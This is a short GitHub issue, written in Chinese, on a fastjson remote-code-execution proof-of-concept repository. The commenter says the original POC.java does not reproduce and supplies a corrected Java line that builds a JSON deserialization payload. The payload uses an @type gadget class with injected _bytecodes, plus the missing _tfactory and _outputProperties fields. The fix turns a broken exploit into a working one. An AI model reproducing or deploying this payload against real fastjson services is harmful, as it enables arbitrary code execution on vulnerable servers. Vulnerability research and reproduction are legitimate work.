shengqi158/fastjson-remote-code-execute-poc

POC无法复现

Closed this issue · 0 comments

您好,直接用您的POC.java无法复现,对比发现应该是您给出的JSON中缺少_tfactory属性,所以导致POC无法复现。

String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_tfactory\":{ },\"_outputProperties\":{ }," + "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
用上面的代码就可以了